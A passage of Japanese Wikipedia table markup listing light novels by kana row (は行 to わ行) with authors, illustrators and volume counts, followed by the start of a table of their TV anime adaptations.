<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|[[9 TAILS]]
|南房秀久
|[[シンゴ (イラストレーター)|シンゴ]]
|全3巻
|-
|[[夏海紗音と不思議な世界]]
|[[直江ヒロト]]
|[[水沢深森]]
|全2巻
|-
|[[ニート吸血鬼、江藤さん]]
|鈴木大輔
|[[空中幼彩]]
|全2巻
|-
|[[貴子潤一郎|眠り姫]]
|貴子潤一郎
|ともぞ
|単巻
|-
|[[ねこたま (ライトノベル)|ねこたま]]
|[[小林めぐみ]]
|[[加藤龍勇+後藤啓介|加藤洋之&後藤啓介]]
|単巻
|-
|[[ねこのめ]]
|小林めぐみ
|加藤洋之&後藤啓介
|全3巻
|}
=== は行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|[[バーガント反英雄譚]]
|八街歩
|[[珈琲猫]]
|全9巻
|-
|[[ハーモナイザー・エリオン]]
|吉村夜
|ことぶきつかさ
|全4巻
|-
|[[拝啓、姉上さま]]
|[[川口大介]]
|[[神谷順]]
|全3巻
|-
|style="background-color: #fcfccc;"|[[はいぱーぽりす]]
|style="background-color: #fcfccc;"|[[春眠暁]]<br /><small>原作:[[MEE]]</small>
|style="background-color: #fcfccc;"|MEE
|style="background-color: #fcfccc;"|全3巻
|-
|[[ハイスクールD×D]]
|rowspan="3"|石踏一榮
|rowspan="3"|みやま零
|全25巻
|-
|[[ハイスクールD×D|ハイスクールD×D DX]]
|既刊7巻
|-
|[[ハイスクールD×D|真ハイスクールD×D]]
|既刊4巻
|-
|[[ハイパータイマー・ネーナ]]
|[[岬兄悟]]
|[[あろひろし]](1巻)、[[遊人]](2巻)
|全2巻
|-
|[[白王烈紀]]
|[[諸星崇]]
|桐原いづみ
|全2巻
|-
|[[爆裂お嬢シンディー・スー]]
|[[寺田憲史]]
|鈴木雅久
|全4巻
|-
|[[はじまりの骨の物語]]
|五代ゆう
|米田仁士
|単巻
|-
|style="background-color: #c0c0c0;"|[[始まりの魔法使い]]
|style="background-color: #c0c0c0;"|[[石之宮カント]]
|style="background-color: #c0c0c0;"|[[ファルまろ]]
|style="background-color: #c0c0c0;"|全5巻
|-
|[[バセット英雄伝 エルヴァーズ]]
|[[ひかわ玲子]]
|美樹本晴彦
|全4巻
|-
|[[鳩子さんとラブコメ]]
|鈴木大輔
|[[naribon]]
|全4巻
|-
|style="background-color: #ccffff;"|[[バトルガール ハイスクール]]
|style="background-color: #ccffff;"|八奈川景晶<br /><small>原作・監修:[[コロプラ]]</small>
|style="background-color: #ccffff;"|[[ハル犬]]
|style="background-color: #ccffff;"|全2巻
|-
|style="background-color: #ccffff;" rowspan="2"|[[バトルテック|バトルテック・ノベル]]
|style="background-color: #ccffff;"|[[大鳥博士]]、[[村川忍]]
|style="background-color: #ccffff;"|[[園田健一]]
|style="background-color: #ccffff;"|単巻
|-
|style="background-color: #ccffff;"|[[黒田和人]]
|style="background-color: #ccffff;"|るりあ046
|style="background-color: #ccffff;"|全4巻
|-
|[[花守の竜の叙情詩]]
|淡路帆希
|フルーツパンチ
|全3巻
|-
|[[はみだしバスターズ]]
|神代創
|桐嶋たける
|全7巻
|-
|[[バレッツ&バンディッツ 楽園の棺]]
|[[秋口ぎぐる]]
|エナミカツミ
|単巻
|-
|[[氷川先生はオタク彼氏がほしい。]]
|[[篠宮夕]]
|[[西沢5ミリ]]
|既刊3巻
|-
|style="background-color: #fcfccc;"|[[彼岸花の咲く夜に]]
|style="background-color: #fcfccc;"|[[竜騎士07]]
|style="background-color: #fcfccc;"|[[さくやついたち]]
|style="background-color: #fcfccc;"|単巻
|-
|[[緋剣のバリアント]]
|小山タケル
|[[マニャ子]]
|全2巻
|-
|[[非オタの彼女が俺の持ってるエロゲに興味津々なんだが……]]
|rowspan="2"|滝沢慧
|rowspan="2"|[[睦茸]]
|全11巻
|-
|[[非オタの彼女が俺の持ってるエロゲに興味津々なんだが……|非オタの彼女が俺の持ってるエロゲに興味津々なんだが…… 萌香の初体験ルート]]
|単巻
|-
|[[BIG-4]]
|大楽絢太
|ワダアルコ
|全5巻
|-
|[[必殺 お捜し人]]シリーズ
|小林めぐみ
|[[ひさいちよしき]]
|全9巻
|-
|[[棺姫のチャイカ]]
|榊一郎
|[[なまにくATK]]
|全12巻
|-
|[[ひとつ火の粉の雪の中]]
|秋田禎信
|若菜等+Ki
|単巻
|-
|style="background-color: #ffcccc;"|[[ひなビタ♪|ひなビタ♪ 凛として咲く花の如く]]
|style="background-color: #ffcccc;"|八奈川景晶<br /><small>原作:[[コナミデジタルエンタテインメント]]</small>
|style="background-color: #ffcccc;"|[[CUTEG]]
|style="background-color: #ffcccc;"|単巻
|-
|[[百星聖戦紀]]
|ひかわ玲子
|[[うたたねひろゆき]]
|全10巻
|-
|[[100万回死んでも少女は死体回収屋の苦労を知らない]]
|[[割石裂]]
|[[ゆーぽん]]([[ニトロプラス#スタッフ|ニトロプラス]])
|全2巻
|-
|[[火の国、風の国物語]]
|[[師走トオル]]
|[[光崎瑠衣]]
|全13巻
|-
|style="background-color: #ffcccc;"|[[火魅子伝]]
|style="background-color: #ffcccc;" rowspan="2"|舞阪洸
|style="background-color: #ffcccc;"|[[大暮維人]]
|style="background-color: #ffcccc;"|全10巻
|-
|style="background-color: #ffcccc;"|[[火魅子伝|火魅子炎戦記]]
|style="background-color: #ffcccc;"|[[ゆきやなぎ]]
|style="background-color: #ffcccc;"|全11巻
|-
|[[姫騎士征服戦争]]
|深見真
|[[中乃空]]
|単巻
|-
|[[姫狐の召使い|姫狐の{{読み仮名|召使い|サーバント}}]]
|春日みかげ
|[[p19 (イラストレーター)|p19]]
|全4巻
|-
|[[H+P -ひめぱら-]]
|風見周
|ひなた睦月
|全13巻
|-
|[[氷結鏡界のエデン]]
|細音啓
|カスカベアキラ
|全13巻
|-
|[[ファイフステル・サーガ]]
|師走トオル
|有坂あこ
|既刊4巻
|-
|style="background-color: #c0c0c0;"|[[VTuberなんだが配信切り忘れたら伝説になってた]]
|style="background-color: #c0c0c0;"|[[七斗七]]
|style="background-color: #c0c0c0;"|塩かずのこ
|style="background-color: #c0c0c0;"|既刊7巻
|-
|[[フィリシエラと、わたしと、終わりゆく世界に]]
|[[七月隆文|今田隆文]]
|[[水上カオリ]]
|全1巻
|-
|[[封仙娘娘追宝録]]
|rowspan="2"|ろくごまるに
|rowspan="2"|ひさいちよしき
|全11巻
|-
|[[封仙娘娘追宝録|封仙娘娘追宝録・奮闘編]]
|全5巻
|-
|[[FF-フェアリー・ファイル-]]
|冴木忍
|[[天乃咲哉]]
|全3巻
|-
|[[〈骨牌使い〉の鏡|〈{{読み仮名|骨牌使い|フォーチュン・テラー}}〉の鏡]]
|五代ゆう
|宮城
|全3巻
|-
|[[フォルセス公国戦記]]
|[[至道流星]]
|[[Riv]]
|全3巻
|-
|[[不完全神性機関イリス]]
|細音啓
|カスカベアキラ
|全5巻
|-
|[[武官弁護士エル・ウィン]]
|rowspan="2"|鏡貴也
|rowspan="2"|[[義仲翔子]]
|全10巻
|-
|[[武官弁護士エル・ウィン|エル・ウィン武官弁護士事務所業務日誌]]
|全2巻
|-
|[[不死朝伝奇ZEQU]]
|rowspan="2"|[[武上純希]]
|rowspan="2"|[[橋本正枝]]
|全5巻
|-
|[[不死朝伝奇ZEQU II]]
|全4巻
|-
|[[武装メイドに魔法は要らない]]
|[[忍野佐輔]]
|[[大熊まい]]
|既刊2巻
|-
|style="background-color: #c0c0c0;"|[[豚公爵に転生したから、今度は君に好きと言いたい]]
|style="background-color: #c0c0c0;"|[[合田拍子]]
|style="background-color: #c0c0c0;"|[[nauribon]]
|style="background-color: #c0c0c0;"|全10巻
|-
|[[ぷっしゅ!]]
|花凰神也
|[[あきやまけんた]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[不登校の幼馴染が学校に行く条件は、毎日俺とキスすることだった]]
|style="background-color: #c0c0c0;"|倉敷紺
|style="background-color: #c0c0c0;"|ぽりごん。
|style="background-color: #c0c0c0;"|単巻
|-
|style="background-color: #c0c0c0;"|[[武に身を捧げて百と余年。エルフでやり直す武者修行]]
|style="background-color: #c0c0c0;"|赤石赫々
|style="background-color: #c0c0c0;"|bun150
|style="background-color: #c0c0c0;"|全10巻
|-
|style="background-color: #c0c0c0;"|[[フラれてから始まるラブコメ]]
|style="background-color: #c0c0c0;"|金木犀
|style="background-color: #c0c0c0;"|[[きのこ姫]]
|style="background-color: #c0c0c0;"|単巻
|-
|[[BLACK BLOOD BROTHERS]]
|rowspan="2"|あざの耕平
|rowspan="2"|[[草河遊也]]
|全11巻
|-
|[[BLACK BLOOD BROTHERS|BLACK BLOOD BROTHERS Ⓢ]]
|全6巻
|-
|[[ブルークロニクル]]
|[[白星敦士]]
|[[いちやん]]
|全2巻
|-
|[[古き掟の魔法騎士]]
|羊太郎
|[[遠坂あさぎ]]
|全5巻
|-
|[[フルメタル・パニック!]]
|rowspan="2"|賀東招二
|rowspan="3"|四季童子
|全12巻<br />短編9巻
|-
|[[フルメタル・パニック!|フルメタル・パニック! -サイドアームズ-]]
|全2巻
|-
|[[フルメタル・パニック!アナザー]]
|[[大黒尚人]]
|全12巻<br />SS1巻
|-
|style="background-color: #ccffff;"|[[アンジュ・ヴィエルジュ#小説|プログレス・イヴ Ange Chronicle Side:BLACK]]
|style="background-color: #ccffff;"|[[海羽超史郎]]
|style="background-color: #ccffff;"|[[Nidy-2D-]]
|style="background-color: #ccffff;"|全1巻
|-
|[[フロムエース (尼野ゆたか)|フロムエース]]
|尼野ゆたか
|[[瑠奈璃亜]]
|全2巻
|-
|[[並列バイオ]]
|秋口ぎぐる
|[[中野友和]]
|単巻
|-
|style="background-color: #ccffcc;"|[[新ソード・ワールドRPGリプレイ|へっぽこ冒険隊・へっぽこーず]]
|style="background-color: #ccffcc;"|秋田みやび
|style="background-color: #ccffcc;"|[[浜田よしかづ]]
|style="background-color: #ccffcc;"|全9巻
|-
|[[ペ天使たち]]
|[[富田祐弘]]
|赤石沢貴士
|全4巻
|-
|style="background-color: #ccffcc;"|[[新ソード・ワールドRPGリプレイNEXT|ぺらぺらーず漫遊記]]
|style="background-color: #ccffcc;"|[[藤澤さなえ]]
|style="background-color: #ccffcc;"|[[かわく]]
|style="background-color: #ccffcc;"|全2巻
|-
|[[ヘルカム!]]
|八奈川景晶
|[[ななせめるち]]
|全4巻
|-
|style="background-color: #c0c0c0;"|[[辺境都市の育成者]]
|style="background-color: #c0c0c0;"|七野りく
|style="background-color: #c0c0c0;"|[[福きつね]]
|style="background-color: #c0c0c0;"|既刊6巻
|-
|[[変態先輩と俺と彼女]]
|山田有
|[[犬洞あん]]
|全3巻
|-
|[[さよならトロイメライ|放課後トロイメライ]]
|壱乗寺かるた
|[[日吉丸晃]]
|全3巻
|-
|style="background-color: #c0c0c0;"|[[放課後は、異世界喫茶でコーヒーを]]
|style="background-color: #c0c0c0;"|風見鶏
|style="background-color: #c0c0c0;"|[[u介]]
|style="background-color: #c0c0c0;"|全6巻
|-
|[[冒険者養成学校D組の挑戦]]
|柊晴空
|桜沢いづみ
|単巻
|-
|[[宝珠、紅に染まるとき]]
|市川丈夫
|[[結城信輝]]
|単巻
|-
|style="background-color: #ccffcc;"|[[蓬萊学園]]シリーズ
|style="background-color: #ccffcc;"|[[新城カズマ|新城十馬]]、他
|style="background-color: #ccffcc;"|[[中村博文 (イラストレーター)|中村博文]]、他
|style="background-color: #ccffcc;"|
|-
|[[放浪勇者は金貨と踊る]]
|[[むらさきゆきや]]
|[[藤ちょこ]]
|全2巻
|-
|[[ぼくと彼女に降る夜]]
|八街歩
|深崎暮人
|全9巻
|-
|[[ボクの可愛い国家令嬢]]
|[[鏡遊]]
|[[QP:flapper]]
|全2巻
|-
|[[ぼくのゆうしゃ]]
|葵せきな
|[[Nino]]
|全8巻
|-
|[[ぼくらのみかたん。 黒森高校未科研です]]
|富永浩史
|[[日向恭介]]
|単巻
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|ホーリィの手記]]
|style="background-color: #ccffcc;"|[[加藤ヒロノリ]]<br /><small>原案:安田均</small>
|style="background-color: #ccffcc;"|[[桜瀬琥姫]]
|style="background-color: #ccffcc;"|全6巻
|-
|[[本日の騎士ミロク]]
|田口仙年堂
|[[高階聖人]]
|全10巻
|-
|}
=== ま行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|style="background-color: #c0c0c0;"|[[迷子の女の子を家まで届けたら、玄関から出て来たのは学年一の美少女でした]]
|style="background-color: #c0c0c0;"|[[楠木のある]]
|style="background-color: #c0c0c0;"|[[古弥月]]
|style="background-color: #c0c0c0;"|単巻<ref>カクヨムの原作は2022年10月の第92話で休止、未完。文化祭でのミスコンのシーン除去など大幅に改稿されている</ref>
|-
|style="background-color: #c0c0c0;"|[[魔王討伐したあと、目立ちたくないのでギルドマスターになった]]
|style="background-color: #c0c0c0;"|[[朱月十話]]
|style="background-color: #c0c0c0;"|[[鳴瀬ひろふみ]]
|style="background-color: #c0c0c0;"|全9巻
|-
|[[まおうとゆびきり]]
|[[六甲月千春]]
|[[椎名麻子]]
|全3巻
|-
|[[魔王2099]]
|[[紫大悟]]
|クレタ
|既刊3巻
|-
|[[まさかな]]
|小林めぐみ
|[[加藤龍勇+後藤啓介|加藤洋之]]、[[加藤龍勇+後藤啓介|後藤啓介]]
|単巻
|-
|[[仮面武闘会|{{読み仮名|仮面武闘会|マスカレード}}]]
|紙谷龍生
|片倉真二
|全3巻
|-
|[[マジカル・デスゲーム|マジカル†デスゲーム]]
|[[うれま庄司]]
|CUTEG
|全2巻
|-
|[[マジカル・ハイスクール]]
|朝松健
|[[SUEZEN]]
|単巻
|-
|[[魔魚戦記]]
|rowspan="2"|吉村夜
|[[OKAMA]]
|単巻
|-
|[[魔魚戦記|星に願いを レスト&ハーウィン]]
|[[C-SHOW]]
|単巻
|-
|[[魔銃使いZELO]]
|ひびき遊
|[[refeia|巳島ヒロシ]]
|単巻
|-
|[[MA棋してる!]]
|三浦良
|ぽぽるちゃ
|全1巻
|-
|style="background-color: #ccffff;"|[[マグナ・スペクトラ|マグナ・スペクトラ 緋の剣は誰がために]]
|style="background-color: #ccffff;"|[[秋田みやび]]<br /><small>原案:安田均</small>
|style="background-color: #ccffff;"|藤田香
|style="background-color: #ccffff;"|単巻
|-
|[[魔術学園領域の拳王|魔術学園領域の{{読み仮名|拳王|バーサーカー}}]]
|下等妙人
|瑠奈璃亜
|全4巻
|-
|[[魔術士オーフェン|魔術士オーフェンはぐれ旅]]
|rowspan="2"|秋田禎信
|rowspan="2"|草河遊也
|全20巻
|-
|[[魔術士オーフェン|魔術士オーフェン・無謀編]]
|全13巻
|-
|[[まちがい英雄の異世界召喚]]
|河端ジュン一
|[[藤真拓哉]]
|全3巻
|-
|[[マテリアルナイト]]
|雨木シュウスケ
|椋本夏夜
|全5巻
|-
|[[マテリアルゴースト]]
|葵せきな
|[[てぃんくる (漫画家)|てぃんくる]]
|全6巻
|-
|[[まぶらほ]]
|rowspan="2"|築地俊彦
|rowspan="2"|[[駒都えーじ]]
|全22巻<br />長編4巻<br />番外編1巻
|-
|[[まぶらほ|まぶらほ メイドの巻]]
|全6巻
|-
|style="background-color: #ccffcc;"|[[魔法戦士リウイ]]
|style="background-color: #ccffcc;"|水野良
|style="background-color: #ccffcc;"|士貴智志(1巻旧版)、[[横田守]](1巻新装版・全巻)
|style="background-color: #ccffcc;"|1st 全10巻<br />2nd 全3巻<br />3rd 全8巻
|-
|style="background-color: #fcfccc;"|[[魔法遣いに大切なこと|魔法遣いに大切なこと 太陽と風の坂道]]
|style="background-color: #fcfccc;"|[[山田典枝]]
|style="background-color: #fcfccc;"|[[よしづきくみち]]
|style="background-color: #fcfccc;"|全2巻
|-
|[[魔法の子]]
|入江君人
|[[NOCO]]
|単巻
|-
|[[魔法の使えない魔法使いの物語]]
|花凰神也
|[[木場智士]]
|単巻
|-
|[[水鏡のイーラ]]
|[[神江京]]
|若菜等+Ki
|単巻
|-
|[[ミュートスノート戦記]]
|麻生俊平
|七瀬葵
|全5巻
|-
|[[超銀河的美少女幽霊|{{読み仮名|超銀河的美少女幽霊|ミルキー・ゴースト}}]]
|南田操
|[[長谷川裕一]]
|単巻
|-
|style="background-color: #ffcccc;"|[[無敵王トライゼノン]]
|style="background-color: #ffcccc;"|[[長谷川勝己]]
|style="background-color: #ffcccc;"|あらいずみるい
|style="background-color: #ffcccc;"|全1巻
|-
|style="background-color: #ffcccc;"|[[無敵王トライゼノン|無敵王トライゼノン ガイアゼノン]]
|style="background-color: #ffcccc;"|[[花田十輝]]
|style="background-color: #ffcccc;"|[[下北沢鈴成]]
|style="background-color: #ffcccc;"|全3巻
|-
|style="background-color: #ffcccc;|[[無敵王トライゼノン|無敵王トライゼノン アルマゼノン]]
|style="background-color: #ffcccc;"|[[あおしまたかし]]
|style="background-color: #ffcccc;"|[[ふぢまるありくい]]
|style="background-color: #ffcccc;"|全3巻<br />アンコール1巻
|-
|style="background-color: #ffcccc;|[[無敵王トライゼノン|無敵王トライゼノン ZP]]
|style="background-color: #ffcccc;"|日下弘文
|style="background-color: #ffcccc;"|[[ヤスダスズヒト]]
|style="background-color: #ffcccc;"|全3巻
|-
|[[ムーンスペル!!]]
|尼野ゆたか
|[[ひじりるか]]
|全5巻
|-
|[[月鬼-ムーンデビル-]]
|六道慧
|[[東拓]]
|全4巻
|-
|style="background-color: #c0c0c0;"|[[メイデーア魔王転生記 -俺たちの魔王はこれからだ。-]]
|style="background-color: #c0c0c0;"|[[友麻碧|かっぱ同盟]]
|style="background-color: #c0c0c0;"|るろお
|style="background-color: #c0c0c0;"|全2巻
|-
|style="background-color: #c0c0c0;"|[[女神に騙された俺の異世界ハーレム生活]]
|style="background-color: #c0c0c0;"|[[回復師]]
|style="background-color: #c0c0c0;"|[[Nardack]]
|style="background-color: #c0c0c0;"|既刊3巻
|-
|[[メルヴィ&カシム]]
|冴木忍
|幡池裕行(1-2巻)、[[竹井正樹]](3-6巻)
|全6巻
|-
|[[黙示録アリス]]
|鏡貴也
|[[加藤勇樹]]
|全3巻
|-
|[[モザイカ]]
|[[高橋良輔 (アニメ監督)|高橋良輔]]
|[[塩山紀生]]
|単巻
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|モンスター・コレクション短編集]]
|style="background-color: #ccffcc;" rowspan="2"|[[グループSNE]]
|style="background-color: #ccffcc;"|
|style="background-color: #ccffcc;"|
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|モンスター・コレクション・ノベル]]
|style="background-color: #ccffcc;"|
|style="background-color: #ccffcc;"|
|-
|style="background-color: #c0c0c0;"|[[モンスター・ファクトリー (小説)|モンスター・ファクトリー]]
|style="background-color: #c0c0c0;"|アロハ座長
|style="background-color: #c0c0c0;"|[[夜ノみつき]]
|style="background-color: #c0c0c0;"|全5巻
|-
|style="background-color: #ccffcc;"|[[ドラゴンライダー (モンスターメーカー)|モンスターメーカー ドラゴンライダー]]
|style="background-color: #ccffcc;" rowspan="2"|[[鈴木銀一郎]]
|style="background-color: #ccffcc;" rowspan="2"|九月姫
|style="background-color: #ccffcc;"|上下巻
|-
|style="background-color: #ccffcc;"|[[モンスターメーカー#小説|モンスターメーカー ナルド予言書]]
|style="background-color: #ccffcc;"|上下巻
|}
=== や行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|[[約束いんぽっしぶる となりのあの娘は狙撃兵]]
|六甲月千春
|[[神無月ねむ]]
|単巻
|-
|[[約束の柱、落日の女王]]
|rowspan="3"|[[いわなぎ一葉]]
|rowspan="3"|[[AKIRA (イラストレーター)|AKIRA]]
|rowspan="3"|全3巻
|-
|[[約束の柱、落日の女王|真実の扉、黎明の女王]]
|-
|[[約束の柱、落日の女王|平和の鐘、永遠の女王]]
|-
|[[夜想譚グリモアリス]]
|rowspan="2"|[[海冬レイジ]]
|rowspan="2"|[[松竜]]
|全3巻
|-
|[[幻想譚グリモアリス]]
|全6巻
|-
|style="background-color: #ccffff;"|[[夜刀姫斬鬼行]]
|style="background-color: #ccffff;"|[[桐村葵]]<br /><small>原作:[[Terios]]</small>
|style="background-color: #ccffff;"|横田守
|style="background-color: #ccffff;"|全2巻
|-
|style="background-color: #ffcccc;"|[[幽幻怪社]]
|style="background-color: #ffcccc;"|[[渡辺麻実]]
|style="background-color: #ffcccc;"|[[うえだひとし]]、[[西田亜沙子]]
|style="background-color: #ffcccc;"|単巻
|-
|[[勇者になれなかった俺はしぶしぶ就職を決意しました。]]
|左京潤
|[[戌角柾]]
|全10巻
|-
|[[勇者の息子の超・商人道! 幼なじみが美少女魔王になって求婚してきたんだが]]
|上総朋大
|[[ぷきゅのすけ]]
|単巻
|-
|[[勇者リンの伝説]]
|琴平稜
|[[karory]]
|全5巻
|-
|style="background-color: #c0c0c0;"|[[勇者、辞めます〜次の職場は魔王城〜]]
|style="background-color: #c0c0c0;"|[[クオンタム]]
|style="background-color: #c0c0c0;"|天野英
|style="background-color: #c0c0c0;"|全3巻
|-
|[[渡辺まさき#作品解説|夕なぎの街]]
|[[渡辺まさき]]
|[[山田秀樹]]
|全2巻
|-
|[[ゆにこん (小説)|ゆにこん]]
|[[子安秀明]]
|[[伊藤ベン]]
|全1巻
|-
|[[ユミナ戦記]]
|吉岡平
|[[春巻秋水]]
|全2巻
|-
|style="background-color: #ccffff;"|[[夜桜忍法帖〜卓上血風録〜|夜桜忍法帖]]
|style="background-color: #ccffff;"|甲斐甲賀
|style="background-color: #ccffff;"|[[ITOYOKO]]
|style="background-color: #ccffff;"|全2巻
|-
|[[妖怪寺縁起|妖怪寺縁起 星空のエピタフ]]
|冴木忍
|田沼雄一郎
|上下巻
|-
|style="background-color: #c0c0c0;"|[[陽キャなカノジョは距離感がバグっている]]<ref>旧題「日陰者でいたい僕が、陽キャな同級生からなつかれている件」</ref>
|style="background-color: #c0c0c0;"|[[ 枩葉松]]
|style="background-color: #c0c0c0;"|ハム
|style="background-color: #c0c0c0;"|全2巻
|}
=== ら行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|[[RISING×RYDEEN]]
|初美陽一
|[[パルプピロシ]]
|全9巻
|-
|[[ライタークロイス]]
|川口士
|[[柴倉乃杏]]
|全5巻
|-
|[[ライトセイバーズ]]
|築地俊彦
|[[遠藤沖人]]
|全3巻
|-
|[[ラキスにおまかせ]]
|[[桑田淳]]
|[[秕帷苓]]
|全3巻
|-
|[[ラジカルあんてぃ〜く]]
|rowspan="2"|清水文化
|rowspan="2"|[[南島達也]]
|全5巻
|-
|[[ラジカルあんてぃ〜く|ヘッポコあんてぃ〜く]]
|全4巻
|-
|[[ラストラウンド・アーサーズ]]
|羊太郎
|はいむらきよたか
|全5巻
|-
|[[羅刹王]]
|六道慧
|高田明美
|全5巻
|-
|[[ラッシュ・くらっしゅ・とれすぱす]]
|風見周
|[[おときたたかお]]
|全2巻
|-
|[[乱☆恋 婚約者は16人!?]]
|舞阪洸
|得能正太郎
|全5巻
|-
|[[ランドロック]]
|[[オルカ (作家)|オルカ]]
|[[士郎正宗]]
|上下巻
|-
|[[竜と魔女の住む屋敷]]
|[[門倉敬介]]
|[[たいしょう田中]]
|単巻
|-
|[[量産型はダテじゃない]]
|柳実冬貴
|[[銃爺]]
|全5巻
|-
|style="background-color: #c0c0c0;"|[[両親の借金を肩代わりしてもらう条件は日本一可愛い女子高生と一緒に暮らすことでした。]]
|style="background-color: #c0c0c0;"|[[雨音恵]]
|style="background-color: #c0c0c0;"|kakao
|style="background-color: #c0c0c0;"|5巻{{Efn2|カクヨム版は2021年8月の第181話で休止。}}
|-
|[[ルスキエ・ビチャージ 死天使は冬至に踊る]]
|富永浩史
|[[毛羽毛現]]
|単巻
|-
|[[霊樹界]]
|岬兄悟
|[[佐竹美保]]
|全3巻
|-
|[[煉獄のエスクード|煉󠄁獄のエスクード]]
|rowspan="3"|[[貴子潤一郎]]
|rowspan="3"|[[ともぞ]]
|全3巻
|-
|[[煉獄のエスクード|煉󠄁獄のエスクードARCHIVES]]
|単巻
|-
|[[灼熱のエスクード]]
|全4巻
|-
|[[灼熱の竜騎兵|{{読み仮名|灼熱の竜騎兵|レッドホット・ドラグーン}}]]
|[[田中芳樹]]
|[[北爪宏幸]]
|全3巻
|-
|[[RPG W(・∀・)RLD ―ろーぷれ・わーるど―]]
|吉村夜
|[[てんまそ]]
|全15巻
|-
|[[ロクでなし魔術講師と禁忌教典|ロクでなし魔術講師と{{読み仮名|禁忌教典|アカシックレコード}}]]
|rowspan="2"|羊太郎
|rowspan="2"|三嶋くろね
|既刊23巻
|-
|[[ロクでなし魔術講師と禁忌教典|ロクでなし魔術講師と{{読み仮名|追想日誌|メモリーレコード}}]]
|既刊10巻
|-
|[[六人のイヴと神殺しの使徒]]
|鏡遊
|[[カグユヅ]]
|全3巻
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|六門世界]]
|style="background-color: #ccffcc;"|安田均
|style="background-color: #ccffcc;"|[[松本嵩春]]
|style="background-color: #ccffcc;"|全6巻
|-
|style="background-color: #c0c0c0;"|[[【朗報】俺の許嫁になった地味子、家では可愛いしかない。]]
|style="background-color: #c0c0c0;"|氷高悠
|style="background-color: #c0c0c0;"|[[たん旦]]
|style="background-color: #c0c0c0;"|既刊6巻
|-
|style="background-color: #ffcccc;"|[[六門天外モンコレナイト]]
|style="background-color: #ffcccc;"|原案・著:安田均、黒田和人<br />原作:あかほりさとる、長谷川勝己
|style="background-color: #ffcccc;"|[[中嶋敦子]]
|style="background-color: #ffcccc;"|全2巻
|-
|[[ロケットガール]]
|野尻抱介
|[[山内則康]](1巻旧版)[[むっちりむうにい]](2-4巻・新装版)
|全4巻
|-
|[[ロスト・ユニバース]]
|神坂一
|義仲翔子
|全5巻
|-
|[[ロック・ペーパー・シザーズ]]
|木村心一
|QP:flapper
|全2巻
|-
|[[ロムニア帝国興亡記]]
|舞阪洸
|[[エレクトさわる]]
|全7巻
|}
=== わ行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|[[ワールド・イズ・コンティニュー]]
|瀬尾つかさ
|早川ハルイ
|全2巻
|-
|[[ワイルドキティ]]
|神代創
|[[フミオ]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[我が弟子が最も強くてカワイイのである]]
|style="background-color: #c0c0c0;"|赤石赫々
|style="background-color: #c0c0c0;"|夜ノみつき
|style="background-color: #c0c0c0;"|既刊2巻
|-
|[[神獣たちと一緒なら世界最強イケちゃいますよ?|{{読み仮名|神獣|わたし}}たちと一緒なら世界最強イケちゃいますよ?]]
|[[福山陽士]]
|[[おりょう]]
|全5巻
|-
|style="background-color: #c0c0c0;"|[[1LDK、そして2JK。]]
|style="background-color: #c0c0c0;"|福山陽士
|style="background-color: #c0c0c0;"|[[シソ (イラストレーター)|シソ]]
|style="background-color: #c0c0c0;"|全4巻
|-
|[[1×10 藤宮十貴子は懐かない]]
|鈴木大輔
|[[PANDA]]
|全5巻
|}
== アニメ化作品 ==
=== テレビアニメ ===
{| class="wikitable" style="font-size:smaller"
!作品
!放送年
!アニメーション制作
!備考
|-
|[[宇宙一の無責任男]]([[無責任艦長タイラー (アニメ)|アニメ]])
|1993年
|[[タツノコプロ]]
|OVAあり
|-
| rowspan="5" |[[スレイヤーズ]]([[スレイヤーズ (アニメ)|アニメ]])
|1995年(第1期)
| rowspan="3" |[[イージー・フイルム]]
| rowspan="5" |映画、OVAあり
|-
|1996年(第2期)
|-
|1997年(第3期)
|-
|2008年(第4期)
| rowspan="2" |[[J.C.STAFF]]
|-
|2009年(第5期)
|-
| rowspan="2" |[[セイバーマリオネットJ]]
|1996年-1997年(第1期)
|[[JUNIO]]
| rowspan="2" |OVAあり
|-
|1998年-1999年(第2期)
|[[ハルフィルムメーカー]]
|-
|[[ロスト・ユニバース]]
|1998年
|イージー・フイルム
|
|-
| rowspan="2" |[[魔術士オーフェン]]([[魔術士オーフェン (アニメ)|アニメ]])
|1998年-1999年(第1期)
| rowspan="2" |J.C.STAFF
| rowspan="2" |
|-
|1999年-2000年(第2期)
|-
|[[星方天使エンジェルリンクス|星方遊撃隊エンジェルリンクス]]
|1999年
|サンライズ
|
|-
|[[それゆけ!宇宙戦艦ヤマモト・ヨーコ]]
|1999年
|ティーアップ<br />J.C.STAFF
|OVAあり
|-
